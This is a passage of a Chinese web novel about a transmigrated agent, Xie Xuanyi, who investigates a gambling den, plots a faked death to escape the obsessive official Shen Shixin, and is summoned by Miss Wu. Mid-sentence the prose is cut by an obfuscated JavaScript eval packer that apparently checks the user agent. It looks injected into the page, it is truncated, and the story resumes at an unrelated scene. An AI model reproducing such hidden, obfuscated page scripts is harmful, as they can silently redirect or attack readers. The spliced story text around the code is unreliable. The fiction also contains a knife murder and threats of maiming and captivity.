左右围在男人身边的美姬见状,略带埋怨地向谢璇衣的背影投去目光,转身用自己婀娜的身姿去挡住他的目光,似有埋怨,又像娇嗔:“大人看什么呢,都不看人家了。” 一侧同僚见美人不悦,也笑他冷待美人,要他饮酒赔罪。 却没发现男人虽是笑着,嘴上应付过去,却始终没让美姬更进一步,甚至连他的手臂都没怎么碰到。 他向清瘦挺拔的身影望了一瞬,很快收回目光,强压下怪异感,进了一处绫罗垂盖的奢华包房。 - 谢璇衣很快恢复到正途上。 他拍了拍脸颊,找了一个没人的角落停住。 “系统,”他压低声音,“我在小世界内部是几级权限?” 正常来说,谢璇衣经过从“普通员工”向“监管员”的考核后,在小世界拥有最高五级权限。 但这里毕竟算二周目,规则并不统一,他不敢轻易断定。 “宿主:谢璇衣,0714小世界可运行权限为:三级。” 谢璇衣眼前一黑。 三级权限,连使用锦衾特殊能力的次数都有限,平时和菜刀没什么区别,更别提其他方面了。 这和捆住他手脚有什么区别? 阴影里,谢璇衣指尖抵住额头,轻轻敲着眉骨,“能定位吗?” “物品定位,消耗积分:十点。” 比平时贵了一倍,但谢璇衣在系统里攒出了五位数的积分,这个价格还在接受范围之中。 “定位,账本。” 系统温馨提示:“宿主,赌场账本定位难度高,潜入难度大,宿主请谨慎考虑……” “谁说赌场账本了,”谢璇衣偏头看向虚空,发丝从狐狸毛领口里掉出来,“我要找明账。” 能这么明目张胆在大堂里喊出赌场的代号,他才不信这道“金银琳琅”在账面上敢不计费。 计费,就必然有问题;不计费,那更好解决,让皇帝那老头子找六部的人,直接光明正大查办便是。 系统启动了定位功能。 眼前隐隐约约出现一颗荧光蓝的光斑,非常小,几乎是一个不小心就能被人忽视掉。 谢璇衣追了过去。 明面上的账本藏的不深,他谨慎些,从系统指引的另一条暗道里出来,很快翻进后院,摸黑找到了账本。 在一处架子上收纳着,整整齐齐,一目了然。 谢璇衣翻了几页,虽然晦涩,但还算能勉强读懂。他决定从近三月的开始查。 越是翻,谢璇衣的眉头皱得越狠。 这道菜确实存在,但是以十两银子的天价记上的,菜谱上也确实存在这道菜,不过只是一道最稀疏平常的蛋炒饭。 确实是天价,但做生意讲究你情我愿,既然食客没有异议,那即使是官府的人也奈何不得。 利用系统的复制功能,他又花费了五十积分,暂时将账本存在系统里,打算回去再慢慢研究。 余光里,视野中的红点越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被称为井仪的暗卫俯下身,捡起酒鬼手中的布片,沉默着点了点头。 “主子三思,老爷和老太太都不希望您插手北斗之事。” 沈适忻也已经蹲下身,手里握着把匕首,对着那一动不动的酒鬼比划两下。 紧接着,一刀正中喉腔。 那人连挣扎都无,从漏风的喉咙里发出“嗬嗬”两声,就断了生气。 沈适忻抹掉眼底的血,冷风一嗖,血比水凉得快。 “井仪,你话太多了。” 暗卫很利索地跪了下去,“属下多言,求主子责罚。” “罚就不必了,”他将溅上鲜血的布料攥了攥,动作轻柔地放进锦囊里,皮笑肉不笑,“你把这死物收拾掉。” 匕首直愣愣竖着,在夜色里溅上寒锐的冷银,沈适忻倒是勾起唇角,似乎被这幅场面取悦。 “北斗的人,动作倒是利索,我要亲自会会。” 18. 第 18 章 井仪其实很怕主子露出这幅表情。 四年前北漠人假借行商之名,偷潜三千北漠士兵,分布在帝京周遭的市镇上,伺机而动。 那时正值冬至前后,宫变自他主子的生辰宴而起,这把火从沈府一直烧到宫中,旧帝昏聩,竟自投罗网,被骁勇善战的北漠人当场砍死。 而群龙无首之时,竟然是沈家与旧帝之弟——昔日的闲散王爷叡王联手压下战乱。 其中细节,井仪不敢打听,也不能打听。 总之,在此之后,他就被沈老爷指派给如今的主子。 虽然相处时间不多,他大多在任务之间流离,这位新主子的野心却可见一斑。 ——尤其是去年沈老爷自请乞骸骨,退居检州,倒真有几分颐养天年的意思,对新主子的管控也愈发软弱无力。 井仪不敢猜主子要做什么,只能硬着头皮,做好一个暗卫的本分事。 他沉默之间,抬头看向主子的背影,衣袂翩翩,禽鸟一般的血腥尽数被黑夜和金银珠宝粉饰,甘居人下。 虽然主子一向是这般姿态,他却觉得,今日好像有什么不一样了。 在哪里呢? 他也说不清。 - 沈适忻嗅了嗅空气里的味道。 一股淡淡的香气,是楼中熏香的味道,却不尽然。 或许,就是他要找的,扰人的北斗苍蝇。 沈适忻心里隐约有什么期待,似乎感觉到血液的流速都加快。 他大踏步走了过去,动作迅捷,悄无声息。 方向是前往地下赌场的密道,不是普通客人的那一条,更不是他常走的那一条。 沈适忻不动声色,记下这一条密道的方位,贴着一侧墙壁潜入赌场内。 一路上的确没有遇到赌场的人。 可惜赌场内实在嘈杂,嬉闹声掺杂着令人作呕的脂粉味,混合着汗液和酒气,比他离开时还要难闻。 一向金尊玉贵的大少爷皱了皱眉,并没有露出其他的表情。 要说难闻的气息,四年前宫变那一日,帝京几乎像是修罗地狱了。 硝烟的辛辣与尘泥的腥气撞作一团,深深盖在尸体腐烂的味道下,血的味道竟然成了生命的代名。 他料到过北漠蛮族有所动作,却没料到会拿自己开刀,更没想到那一向胆小的……敢为自己挡箭。 慌乱之中放在对方腰上的手,竟然只抓到一片泥泞和嶙峋,比先前更纤细,像是一把骨骼。 沈适忻感觉到自己思绪混乱,几乎已经难以维系,暗暗猜到是熏香在作祟,用力甩了甩头。 不,他只是第一次见到人死在自己面前,手足无措而已。 他才不在乎对方做了什么,说了什么,他作何要心疼…… 隐隐的头晕逐渐翻涌上来,像是一场静默的刑讯逼供。 沈适忻的额角渗出薄汗。 心疼一个死人。 死去多年的,低贱的,会对着他含蓄又温柔地笑的少年人。 直到这一刻,他才真正猜到熏香的作用。 不仅仅是井仪查到、汇报给他的扰乱心神。 醉翁之意不在酒,熏香真正的作用,是在人品尝过又离开过后,抓心挠肝地怀念,并在一轮轮的深化中放大内心的一切情绪。 包括喜悦,包括怒气,包括……悔恨。 这确实是此刻他对自己最客观的判断,却不知道为何如此。 沈适忻立即远离了赌场大门,在阴影里翻出小瓷瓶,往嘴里倒了几颗药丸。 等到坐下调息片刻,内心的诡异冲动消失殆尽后,沈适忻睁开眼,重新走上前。 也许是老天眷顾,那身绣着星辰连缀图样的衣衫很快出现在他的面前。 虽然那人裹在厚重的狐狸披风下,衣摆隐约,但沈适忻知道自己必然不会认错。 北斗,是他梦里都恨得牙痒痒的一群人。 当今的圣上蛰伏太久,甚至将至知天命之年,还要牵动多家爪牙,搅一个天翻地覆。 有这样的主子,那一群走狗能是什么好东西。 今上得陇望蜀,竟然暗地里整顿世家,势头猛烈,沈家太多产业遭受牵连,甚至沿海几州的盐田都快被人侵吞。 偏偏北斗这帮蝼蚁,三番五次给他使绊子,煞费工夫。 沈适忻垂下眼,盖住眼下一抹教人心惊的厉色,手心一翻,护腕和掌根处露出一角纸包。 既然蝇虫扰人,他不介意在收拾这几位被培植的傀儡同僚之余,顺手 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沈适忻动作迅速。 手腕一松,空了的纸包飘然落地,被绣着禽鸟图样的鞋碾在脚下,动作自然,在昏暗的赌场内无人可察。 他满上酒,面上含着笑,眼里的狠厉摇曳在笙歌和纵乐的背景色中,被耀眼的烛火笼盖住。 酒杯递了出去,沈适忻压抑着心里越来越满胀的怪异,歪着头看向裹在厚重衣袍里的黑衣男人。 他已然主动搭话,对方避让不得,平视着看过来,正正撞进沈适忻那双情绪暗涛耸动的乌沉眼眸。 那人一手支在桌沿,骨节分明的手指无意摩挲着扳指。另一手举着浅口酒盏,殷红唇色被挡去半数,仅仅是将酒盏放在唇边这一个动作,就让人头皮发麻。 这里是赌场的休息区,香绫垂悬,置几桌案,案上瓜果温酒,二三筹码,细口玲珑瓷瓶支几团鲜艳早梅。 小侍经过,衣摆翩跹,曳一掣烛光,明灭交叉。 满溢的鲜艳尽数在那人的回眸里,像是把丹砂揉碎在墨池中,教人失去察言观色的能力。 活色生香。 20-30 第21章 早在回地面找几个下属之前,谢璇衣就觉得有什么不对。 他用力吸了两扣空气,感觉到漂浮着的味道有些怪异。 有一些……刺鼻。 谢璇衣皱了皱眉。 这个味道有些不一样,但他大概率是熟悉的。 直到踏出地下暗道那一刻,他忽然想起这种味道的名称。 是麻油啊。 要不是他早早服用过抗衡致幻熏香的药物,恐怕也难以分辨出气味有什么不对。 毕竟一个本就不熟悉麻油气味的人,在这么一个酒味混杂着胭脂、熏香的场合下,几乎毫无反应。 如果是熟悉的人,恐怕也不会觉得有什么不对。 这里可是郊外,远处远远飘来一些油料的味道,也并不奇怪。 这么缜密的思维,是何人所为一眼便知。 谢璇衣不禁失笑。 他的几个下属办事麻利得很,正巧抓住准备纵火的几个下人,手起刀落统统敲晕,打包带回去审问。 而泼洒上麻油的布料、木制品,也被浇透了水,放到了相对安全的地方。 火折子靠近,那张本就薄得透明的信纸映得透明,很快像是融化一般,消失在火光里,留下几丝炭黑的遗物。 谢璇衣用指头捻了捻,它们立即化成齑粉,彻底逸散在空气里。 处理好证据,谢璇衣大步追了上去。 沈适忻靠在车门边上等他,似乎是嗅到对方周身的异常味道,他皱了皱眉。 “就这两步路,你还在鬼鬼祟祟做什么?” 谢璇衣看他一副思绪紊乱的模样,连敷衍都懒得多做。 “清理鸟粪。” 这话一出,谢璇衣自己都险些听笑。 这实在纯属鬼扯了。 沈适忻当然不信,表情一言难尽。 当事人却不理他,侧着脑袋抱臂坐着,视线停留在随风飘逸的纱幔上。 沈适忻正顺着他目光看过去,还没研究出垂纱有什么稀奇,谢璇衣却像是和他对着干一般,闭上眼睛不再多看了。 他不想再跟沈适忻有什么交流。 麻药的力度似乎在慢慢消退,那种钻心的痛处又潮汐一般,一浪强过一浪,铺天盖地的压上来。 但是这远远比不过他PTSD一般的心悸。 沈适忻当然不会记得,这车上用的纱料,和他把自己粗暴地拖上床榻那一夜,是同一种。 在他眼里,自己那一夜的作用,或许和前几日搂着的漂亮女人没什么不同,他怎么会在乎自己的心痛不痛,麻木不麻木。 回了沈宅,两人一拍两散,各怀鬼胎,各回各房。 沈适忻今晚心烦意乱得很。 他的方法比谢璇衣直白得多。 想要抓出赌场背后的支持,索性先粗暴地一把火烧了,他不信对方不会心痛,不会因此昏了头。 只要有一丁点动作,他把线头连根拔起就只剩下时间问题。 可他又实在想不透。 这局对赌里唯一的变量是谢璇衣。 他死了,明明死得不能再透彻,可突然又性情大变,成了北斗的人,还不是底层暗卫。 他的刀明显价值不菲,又是谁给的?他们会不会已经两情相悦? 沈适忻记得谢家的态度一直很暧昧,并未明言支持过任何一方,又因为官位底下,对帝京这盘巨大的棋没有任何损益,他一向没放在眼里。 谢璇衣身上的疑点多,他留着,慢慢来。 至于其他人,全部杀掉就好了。包括送刀之人。 沈适忻不知道为何,注意力放在那个被他臆想出来的假想敌上,几乎难能自已。 他为什么会这样。 最开始的时候,他确实对谢璇衣有过好感。 在最早最早的前两年,谢璇衣身上那一丝不同于沈府水深火热的天真,的确让他有些向往。 于是他默许对方一次次的谄媚与示好,默不作声将主动权提在自己手中。 就像他的父亲对母亲做的那样。 把一个深爱自己的,发着光的美人,变成一个患得患失、见不得光的疯子。 就像是在翁中放一只促织,对着友人、亲人,大肆夸耀它的矫健和骁勇,积累着自得,然后毁在一次斗殴中。 让他发泄所有的怒气,甚至不惜对昔日疼爱的宝物起了杀心。 可是促织就是促织,它会遵从本性,会争斗,会夺食,却不为“主人”的意志而改变。 无论死还是活。 曾经谢璇衣的本能是爱他,他深知,他肆无忌惮。 可现在谢璇衣不爱他了。 他亲口说过的。 沈适忻手里的扳指越转越心烦,猛然褪下砸在地上。 品相极佳的扳指四分五裂,死得比那惨败的促织还惨烈。 他看着一地狼藉,和早已司空见惯进房收拾的下人,面色阴晴不定。 他不信,他不信。 只是过了四年而已,谢璇衣当真还能一点不在乎不成? 下人轻轻扫走地上的碎玉,发出如同雹子砸在竹林间的声响,悦耳,却让人心疼。 沈适忻心头略过一个惊人的想法,想要制止,却无可避免地越扩越大。 哪怕是对方死在自己面前时,他都没有这样想过。 他为什么会变得在意谢璇衣了。 现在谁才是那只可怜的促织? 他不承认,便没有人逼他承认。 沈适忻头又痛起来,由着下人服侍他洗漱,难得不熬夜,直接休息- “您不是说会好好休息吗,”官鹤的表情看起来像是兴师问罪,微微皱了点眉,“现在又弄这一身伤,您再这么伤自己,属下就让开阳大人亲自来。” 谢璇衣眨了眨眼,没在脑子里检索出这个新人物。 官鹤却只当对方被自己镇住了,满意地去帮他换药。 “明明有很多种选择,您为什么非要选伤害自己这一种。”他拉紧了绷带,如愿听到谢璇衣抽了声,让他轻点拽。 官鹤说的话和面容极为不同,明明是没什么表情的一张冰块脸,说话却像个宫里的嬷嬷一般,处处细心,“您这样,恐怕伤口要留疤,下次易容又要多上一处。” 谢璇衣里衣褪了一半,裸露的皮肤在月色里是一种冷莹的白,只有伤口处格外狰狞骇人,他垂眼看着对方给他上药。 他不是很有肌肉的身材,看得出腰细胯窄,线条漂亮,比起情色意味,更多的是欣赏。 也源于他的训练方式,并非粗暴地跑健身房,更注重于实用性。 “官鹤,如果你喜欢一个人,但他险些杀了你,你还会喜欢他吗?” 他这个问题来得突然,官鹤愣了愣,呆呆地试探,“大概,大概会分情况?” “那如果你一捧真心热血全都被对方践踏嘲弄,还屡屡置你于险境中呢?” 谢璇衣问得轻描淡写。 官鹤摇了摇头,“那我会想杀了她的。” 谢璇衣噗呲乐了,“这不就对了。” 官鹤欲言又止,“可是……” 对在哪里了,这也没有可比性啊。沈适忻连同僚都称不上,又哪里去找这喜欢二字? “重要的不是我怎么做,”谢璇衣听着暗夜里窸窸窣窣的包扎声,垂下眼睫,“而是别人怎么想。” 这个别人代指的是谁,两人心照不宣。 除了一个当今陛下,哪里还有人值得大费周章。 “你以为只有我、沈适忻、孙汴会带人吗?” 官鹤一知半解,却看谢璇衣含笑的嘴角,止住了声。 既然谢璇衣清楚自己在做什么,他这个做下属的也没必要过问。 他却没看出,谢璇衣嘴角的笑有些黯然。 若说没有私心,连自己都骗不过。 他只是向对方借一剑,这一剑让他刻骨铭心,让那些藕断丝连的前尘往事都到此为止。 忙完这件事,他们尘归尘,土归土。沈适忻欠下的债,别处还。 等到官鹤领了新任务离去,谢璇衣慢吞吞合拢衣襟,向系统问出了自己心头横亘许久的问题。 “刚刚官鹤说的那个‘开阳’,是谁啊。” 他都在这里待了一个礼拜了,怎么才听说。 系统前面被他呛了一次,还不想搭理他。 “同事。” 谢璇衣:“啧。” 他昨日听说系统升级了,怎么反而升级出脾气来了。 这下倒好了,越修越回去,系统更难用了,彻底变成人工智障了。 报废吧,赶紧的,放他自由。 谢璇衣把这件事揣回心里,安安分分躺着养了两日,运气喜人,他没有伤口发炎。 第三日清晨,谢璇衣换好新衣。他终于穿回曾经喜欢的浅青,心情都好了不少。 手扶着床杆下了地,他感觉双腿软绵绵的,两日没动,便成了面条。 面条人在房间里转了几圈,恢复成了正常人。 他出沈宅的时候,看到沈适忻还在宅里,也要往外走,才想起今日休沐。 对方看他时目光一滞,谢璇衣只是温和地笑了笑,礼节性地叫了句“沈大人”,一个多余的态度都没留下。 街上已经传开沈适忻做好事的行为,又不知是百姓信口开河还是谁给孙汴灌了迷魂汤,总之,孙大人在这群市井小民口中,也是感动得一把鼻涕一把泪,恨不得给沈适忻跪下磕头。 这不合礼数啊。谢璇衣在心里默默给沈适忻点了三根香。 他约好摇光在酒楼见面。看官鹤寄回来的信上,对方本就问心有愧,主动请缨定好包厢。 谢璇衣心里一万个赞成。 省钱好啊,谁不喜欢省钱呢。 在店小二带路之下,谢璇衣撩起衣摆,不紧不慢地从一众喧哗里上了二楼,像是鸡群里的鹤。 摇光见了他,立刻站起来,还有些紧张。 他比谢璇衣擅长易容得多,今日一见,谢璇衣都险些没认出来面前这个五大三粗、屠夫样的汉子,是摇光。 门在背后合拢,谢璇衣视线从挂画移到摇光脸上。 “我知道你有办法。” “让我名正言顺的,离开沈宅。” 第22章 “名正言顺地离开?” 摇光抓着这个字眼,易容后的面上露出一丝迷茫。 “如何算是名正言顺?” 谢璇衣看了他一眼,没有多说,只是静静地吃桌上的茶点。 出门太早,他还没来得及吃早饭,就是神仙来了也该饿了。 摇光看着他的动作,思忖片刻,这幅谨慎的样子和五大三粗的外形衬起来,分外滑稽。 “你想假死?” 推测一番,摇光只能给出这个答案。 这也是谢璇衣本人能想到的最好的答案。 见同事也给不出什么合理建议,他便知只能如此了。 他放下茶杯,“以沈适忻的势力,手还伸不到北斗里来,否则他也不会急于求成。” 摇光看着他清冽而平静的眼瞳,不知道说什么好。 “我明面上的身份一死,线索全断,还能借此脏他一手,让沈党多些麻烦。一举两得,不好吗?” 这是对公。 对私,他讨厌极了沈适忻影子一样的纠缠,实在恶心。 既然说好一剑断,那就要断得彻底。 刚好孙汴这一处线索切入口也足够大,想要查清什么,自有人动手。 所谓普天之下莫非王土,明面上的物什,进的自然是天家账面。 皇帝老头得了这份好处,想来也会对他松懈些,刚好便能找个借口申请外派。 万一这小世界异常不在中原,那他这一遭南辕北辙就有些可笑了。 摇光一直没说话,闻言才犹豫不定,道:“可以,但沈宅一向严密,没有内应,想要制造混乱未免太过困难。” 谢璇衣看着他,目光如炬,几乎让摇光有些慌张,像是有些不一样了。 从前……他也是这样的吗? 恍惚之下,摇光才猛然惊觉,记忆里的谢璇衣像是一片雾气,从未在他的脑中留下任何痕迹。 轻飘飘得来去,薄得像是一阵风。 可是他与天玑师出同部,本不该陌生至此。 摇光恍惚之间不免心惊。 谢璇衣没有感觉到他的不对劲,自顾自道:“这你不必多虑,我做好准备叫官鹤送信给你,帮我接应一下便是。” 摇光于是问:“那你……下一步去哪?” 他问的是接应后,谢璇衣答得却不尽然:“去北漠。”- 从酒楼出来,谢璇衣准备沿街逛逛再回去,方才转身,见一侍女面着素纱,朝他款步盈盈一拜。 “谈公子还请留步。多有冒犯,我家小姐听闻谈公子于胭脂大有异能,特命奴婢来请公子一见。” 谢璇衣没认出这是谁家的丫鬟。 这突如其来的邀请实在有些冒犯,堵他却堵得精准,像是早就预料到一般。 谢璇衣笑了笑。 摇光说谢宅内应不好安插,还是能力不足。 能安插的,这不就在他面前了? 车水马龙的街巷上,侍女也做不出什么出格举动,他大可以全然不在意,转身便走。 “不知贵府小姐是……” 谢璇衣虚虚一扶,温和地抬起她行礼的手臂。 “吴府独一位小姐,谈公子。”侍女说话大胆,八面玲珑。 听到这个名字,谢璇衣一怔。 “四年前我陪阿姐到京中游玩,听闻吴小姐与沈大人已有婚约?” 谢璇衣这番话在心里翻来覆去,终是试探着问出口。 侍女却“噗呲”一声笑了,爽朗又明媚,“看来谈公子消息不灵通呢,这都是何时的陈芝麻烂谷子了。” “我家小姐与沈大人有婚约不假,天可怜三年国孝,生生蹉跎,如今沈大人在前朝炙手可热,为政务所困,大抵也无心成家。” 谢璇衣听了,应了声,连忙面带歉意,陪笑道:“原是我忙昏头了。” 侍女微笑,不再接话,朝着马车的方向抬了手臂,”那便请公子赏脸,前去坐坐。” 看来是他夫人早亡的假消息传出去了。 谢璇衣指尖动了动,拂去膝上的灰。 否则他与这待嫁闺中的小姐见面,恐怕别提吴家老爷,就是连管家也不会同意。 吴娴约见他的位置不在吴府内,而是周遭一处装潢素雅清新的茶舍。 茶舍是吴家的产业,听说小姐请客人,特地留了一间品质规格皆为上乘的包房。 谢璇衣到达时,吴娴已经坐了许久。 许久未见,对方比起当年长开不少,仍然是温婉柔顺的模样和气质,举手投足却更加滴水不漏了。 仿佛是为了配合品茶的雅致,她穿了身很素雅的长裙,正给一旁的炭盆拨火。 看到他,吴娴也并无一丝惊讶。 她把拨火的签子放到一旁,听得金属脆响,又拿手帕清水净了手,方才吩咐下人添一壶新茶。 “既然来了,便坐吧。” “谢公子?” 第23章 自打沈适忻认出自己,谢璇衣就没想着能在熟人面前穿好马甲。 尽管如此,在吴娴轻飘飘叫出那句“谢公子”时,谢璇衣还是怔了一下。 他失笑,无可奈何地叹了口气。 “吴小姐慧眼,谢某佩服。” 吴娴轻轻笑了笑,殷红的唇看起来饱满鲜艳,分外生动。 “娴儿也是今日才知晓谢公子从淮南回来,一时仓促,水云应当没有怠慢公子吧?” 她一口一个谢公子,看着对方的反应,半晌又掩唇一笑。 “罢了,谢家也已散了,公子不喜谢姓也是常事。谈公子莫怪。” 吴娴没有追问他因何死而复生,更没问他来京缘由。 比起早有耳闻,更像是毫不在意。 像是她本人,看着分明和从前一样华贵秀美,却让人感受不到温度。 谢璇衣眯了眯眼。 吴娴也绝非善类。 “这有什么,吴小姐有请,谈某受宠若惊,只是不知,吴小姐想知道些什么?” 谢璇衣爽快地摇了摇头,在她对面坐下,毫不起疑地喝下她斟满的茶水。 “谈公子爽快人,”吴娴头上的珠翠一晃一晃,色泽明丽,“阿娴前几日听闻长公主生辰,要在长街设灯会,邀万民同乐,金吾不禁。” 她声音很轻柔,是很适合给人讲故事的声线,然而话中却听不出什么起伏。 “前几日阿娴便向沈大人递了帖,只是沈大人迟迟未回,今日也想请谈公子卖阿娴一个脸面,在沈大人面前提上一提。” 吴娴语气真挚万分,双手交握支在桌上。 要不是谢璇衣早看出她手上的刀茧,恐怕也信了这位的女儿姿态。 他只能堪堪答应,又和对方聊了些无关痛痒的话题。 眼见天欲黑了,谢璇衣终于找到借口,先走一步。 吴娴站起来靠在窗边,看着他的身影化成一个小黑点,马车越行越远,消失在人群里,也一直没合拢窗户。 她盯着远山外一抹残阳,喟叹一般。 “水云,谢璇衣真的没有武功?” 先前去拦道的侍女从屏风后出来,跪在她面前,态度恭敬又惶恐,“没有,小姐,谢公子扶奴婢那一下能感觉出,的确全无武功在身。” “砰——” 价格不菲的主人杯碎在水云面前,瓷片划破衣裙,嵌进肉里,生生刺痛。 “可是他分明能从沈适忻手里救出孙汴。” 吴娴的面色阴沉下来,眼中一抹狠厉。 水云瑟瑟发抖,声如蚊蚋,“小姐,以沈大人的功夫,寻常人无法抗衡,也许并非武力……” 侍女的话被她听进去,吴娴若有所思,葱白的手指蹭过唇边,蹭上鲜红的胭脂,像是汩汩温热鲜血。 “不是武力……”她低低念了两遍,“莫非沈适忻还对他有情?” 到此,吴娴蓦然笑了笑,语气里有些不自知的怜悯,“沈适忻就是个疯子,他对谁有情,谁定要遭殃的。谢璇衣也是个聪明人,怎么反被聪明误呢。” 水云听着她碎碎念,不免心惊肉跳。 若说疯,她家这位小姐不比前朝的沈大人好到哪里去。 沈大人为了扩大沈党权势,不惜亲自动手除去激进政敌,恐怕当今陛下知晓,也无可奈何。 如果沈适忻是追逐名利,那她这位小姐,是不折不扣的疯子。 水云不敢再想,兀自寒颤,低下头不作声。 “罢了,莫说谢璇衣,就是李璇衣王璇衣来了,也不能妨碍我。” 吴娴止住那些慢条斯理的碎碎念,闭上眼睛,鲜红的蔻丹如同鬼魅。 “这个灯会,沈适忻不来也得来。”- 被吴娴的马车送回沈宅,一路上谢璇衣都在惦记着方才的谈话。 胭脂分明是幌子,那对方真的这么无聊,只是为了让他提醒沈适忻传纸条? 搞得他像别人谈情说爱的一环一样,没意思。 虽然目前看起来,只是单向的。 谢璇衣从马车上下来,刚好瞧见沈适忻进宅院,破天荒主动叫住他。 “沈大人。” 沈适忻闻言回身。 无可挑剔,他的确继承了长辈过分出众的长相,哪怕此时余晖将尽,在微微朦胧的暮色里,依然高挑出尘。 他当年便是这么一眼万年。 可惜史书上一眼万年的太多,兰因絮果的十之八九。 “听说沈大人救下孙大人,美名远扬,不过几日,连市井小民也知晓此事,恭喜了。” 谢璇衣态度和缓真诚,挑不出一点毛病,笑意盈盈很是温柔。 沈适忻愣了一下,没想到对方只是和自己说这些,一时不知道怎么接话。 谢璇衣要的效果达到,负责地把话带到,“听闻吴家小姐前些日给大人送了帖,大人还是及时回复,莫要辜负一片心意。” “什么帖?” 沈适忻想不到他和吴娴混在一起的理由,先前的好心情失去大半。 “你为何会与吴娴相见?” “有生意不做,不是脑子犯浑吗?”谢璇衣笑了笑,“大抵是请大人同游灯会吧。” “她知道请,你就不知道?” 沈适忻顿时冷下脸,上前两步。 他今日一身灰蓝色常服,衬得气场很冷硬。 谢璇衣默不作声地后退了两步,重新拉开距离。 “沈大人说笑了,吴小姐与您有婚约在身,小人不过是个在您府上小居的商贩,不日便要重返淮南,多有冒昧。” 沈适忻自知失言,却还是硬撑着,影子落在谢璇衣身上,像是要把他整个人裹挟进去。 谢璇衣几乎能闻到他身上的酒气,不重,却难以忽视。 “你要走?你不能走,你无论如何都不能走。” 对方仍然只是后退,彻底从他的影子中退出来,“大人醉了,还请自重。” 这一次沈适忻没再拦他,直到他要走进院子,又听到沈适忻叫他。 “那我请你。” “灯会,你和我去。” 又是命令的口吻。 谢璇衣早已学会敷衍,笑了笑,“嗯。” 不过安抚对方的缓兵之计,腿长在他身上,去不去也不是对方奈何得了的。 他早已学会如何与沈适忻斡旋。 先答应,不过多久对方就会自己忘掉的。 他经历了太多次了,铭心刻骨。 目送着谢璇衣走进院子,沈适忻站着吹了会冷风,才意识到自己问了什么。 他问谢璇衣要不要去灯会,谢璇衣答应了。 沈适忻眼睛亮了,躁动的心顿时平静不少。 谢璇衣还答应他,看来对他尚有几分旧情。 这几日他也回过些味来,依稀能感觉到,他对谢璇衣并不是没有一点感情。 起码对方笑起来还是很合他口味的。 那他把握住这次灯会的机会,把人哄回来,在他府里当个大门不出二门不迈的男妻也不错。 左右他对别人没什么感情,硬要找个,便找个熟悉的。 沈适忻一时想着,脸色缓和得多。 但他也能感觉到,谢璇衣的武功大有长进,不过还不如自己。要是他想跑,跑回他口中的淮南,或是回到北斗…… 他绝不允许。 沈适忻看着院里下人擦洗马车。 要是谢璇衣要跑,他必然亲自挑断对方的手筋脚筋。 那样细的腰,留在床上当个玩物便是了。 谢璇衣是个玩物,也只能是留在他身边的玩物。 第24章 谢璇衣还不知他那端心思,拨了拨桌上烛火,让它烧得再旺些。 古代的照明工具的确不如现代,不过是找纸笔的功夫,眼睛已经有些酸痛。 他按了按太阳穴,踌躇片刻,只在纸上简单写了几句。 已安排妥当,备油。 灯会当日动手。 接到上级的讯号,官鹤马不停蹄地赶回来。 寒冬腊月的天里,他额上却落了薄汗。 谢璇衣准备好温水,和密信一起推到官鹤面前。 “先喝水,休息着,听我和你说。” 官鹤默不作声,一概照办。 谢璇衣便将脱身的方法逐一讲给他听,甚至见对方杯子空了,还趁机多续上一杯。 官鹤和摇光听过后的反应如出一辙,只是他面上的担忧比摇光多出几分,也更真心实意。 “确实是方法,但是危险不小,无法保证您毫发无伤地从谢宅逃出去……您为什么不直接和沈适忻提呢?” 话一出口,官鹤就知道自己又在犯傻,眨了眨眼,低下头。 “他不会让我走的。” 谢璇衣看着窗外几欲落雪的沉闷夜色,起身关好窗户,一声似是喟叹,消失在滞涩的合页声里。 “他就是个疯子,彻头彻尾的疯子。” 他关窗户时恰有风灌进来,吹得官鹤迷了眼睛,一时没听清,皱着眉又问一遍:“您说什么?” “没什么,”谢璇衣笑了笑,宽大的袖口鼓动着,“把信递给摇光,他应当自会安排,你不必忧心,该盯着的继续盯着便是。” 官鹤应下,只是临走时,还是忍不住低声叫他:“领事。” 谢璇衣散下头发,上好的缎子一般,还有些打着卷。 闻言才抬头看他,从鼻腔里发出一个单音:“嗯?” “没什么,您……您多保重。” 官鹤走得匆匆促促,心如雷动。 他走得够急,没来得及让谢璇衣看到自己绯红的面色。 谢璇衣没见他这么急促的样子,心下奇怪,他这下属一向是忠心耿耿,做事也滴水不漏,怎么还有这么仓促的时候? 但也没有功夫多想,谢璇衣算了算日子,便先合衣入睡。 次日清晨,谢璇衣很难得不是自然醒。 院子里的动静很细碎,像是刻意压低了,怕吵醒他。 然而两年以来,他已经养成了浅眠的习惯,一点动静便无比警觉。 “你们在做什么?” 谢璇衣推门走出去,就见房门前大大小小跪了一地侍女。 沈宅真有这么多人吗? 这是谢璇衣第一时间所想。 他“借住”这几天见过的下人加在一起,恐怕都没有这一院子人多。 “吵到公子安眠,奴婢几个知罪,”为首是个已至中年的,瞧起来四平八稳,“今日是夫人生辰,分了些菜色到宅里,听主子的意思,也请谈公子来沾沾喜气。” 夫人,有这称呼,想来就是沈适忻那位母亲了。 既然对方话已经说到这份上,谢璇衣自然不好拒绝,由着来人到外间布菜。 只是布完菜,几人也没有要走的意思,盛汤、夹菜分工明确,甚至连茶水少了半杯,都立即有人添上。 活脱脱海某捞服务。 饶是谢璇衣这两年见多识广,也被刺激得起了一身鸡皮疙瘩,尬笑着请退。 “不必如此,我自己来便是。” 见他确实像不习惯,也不太吃得下饭的样子,那几个衣着相似的侍女才后退两步,却依然守在外厅里,一步不退。 大有谢璇衣不吃完这顿饭不走的意思。 反观这桌子菜。 有汤,有汤面,有精米饭,还有蒸得各式各样的面食,更不用提小菜和大鱼大肉。 谢璇衣看的一愣。 这都是从哪想出来的搭配。 见他吃完,几个侍女又低着头上来收拾,毕恭毕敬地端着剩饭走了。 只是院子里还剩了两个年纪小些的下人,一人托着一只匣子。 看谢璇衣面有疑惑,两人主动开口,“这是主子特意请管事从库房里挑了几样,想到谈公子身出淮南富户,也不在意几个银子,不过一些俗物,几分心意,还请公子收下。” 这话说完,也不在意谢璇衣到底什么态度,往他手上一递,也回去复命了。 这敲锣打鼓的一早上结束,只剩下谢璇衣站在院子里一头雾水。 沈适忻有病吗?- “除了汤呢,他还多吃了什么?” 沈适忻面前赫然跪着刚刚的嬷嬷,他俯身盯着,步步紧逼。 嬷嬷倒是临危不乱,却也不敢抬头。 